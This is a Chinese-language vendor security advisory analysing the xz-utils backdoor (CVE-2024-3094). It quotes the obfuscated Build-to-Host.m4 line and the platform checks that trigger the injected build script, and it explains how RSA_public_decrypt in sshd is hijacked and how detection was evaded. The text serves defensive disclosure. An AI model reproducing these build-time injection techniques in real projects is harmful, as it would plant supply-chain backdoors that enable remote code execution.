后门技术分析:
CVE-2024-3094 漏洞的后门制造者,在上传的完整版的源代码压缩包中,包含一个Build-to-Host.m4文件(这个文件不在git仓库中),如果通过压缩包下载源代码,会触发后门构建过程。
Build-to-Host.m4 文件中包含:
gl_[$1]config='sed"r\n" $gl_am_configmake | eval $gl_path_map | $gl[$1]_prefix -d 2>/dev/null'.
目的是在 xz-utils 的构建过程中悄悄注入一个混淆脚本,这个脚本在 configure 脚本的最后运行,负责创建 xz-utils 和 liblzma 的 MakeFiles。由于这段代码的复杂性和混淆性,它增加了研究人员分析过程的难度,并使得后门的检测和理解更加困难。
经过一些条件
if ! (echo "$build" | grep -Eq "^x86_64"> /dev/null 2>&1) && (echo "$build" | grep -Eq"linux-gnu$" > /dev/null 2>&1); then
if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64"; then
- 判断后,修改liblzma的MakeFile,以干预其运行时的符号解析,将RSA_public_decrypt符号重定向到恶意后门代码。在sshd的公钥认证过程中会调用 RSA_public_decrypt函数,从而执行攻击者的代码。随后,该代码回调libcrypto 以进行正常认证,有可能让攻击者在特定条件下绕过认证,导致易受攻击的服务器上发生远程代码执行(RCE)。我们发现,后门的作者为了更隐蔽实现后门注入,做到了以下两点:
- 事前:恶意代码是混淆的,只能在完整的下载包中找到,而不能在缺少 M4 宏的 Git 发行版中找到,降低事前被发现的可能性。
- 事后:据报道,后门的作者还向 oss-fuzz 项目提交了代码,这些代码可能专门阻止了该模糊器能够检测到他们在xz-utils 中植入的后门,降低事后被检查出来的可能性。
通过这次后门的分析,开源软件的使用者(构建者)应该提高安全意识,在构建软件供应链安全过程中,不能忽略任何一步完整性校验。
KOS一直将客户安全和数据保护放在首位。我们持续监控安全动态,并采取一切必要措施来保护我们的产品和服务不受任何潜在威胁的影响。
我们的团队将持续对所有第三方组件进行严格的安全审核,并在必要时及时进行更新和升级。同时,我们也将继续与安全社区紧密合作参与软件供应链安全建设,以确保我们能第一时间了解并应对各种安全挑战。
感谢您对我们公司的信任和支持。如果您有任何疑问或需要更多信息,请随时联系我们的客户服务团队。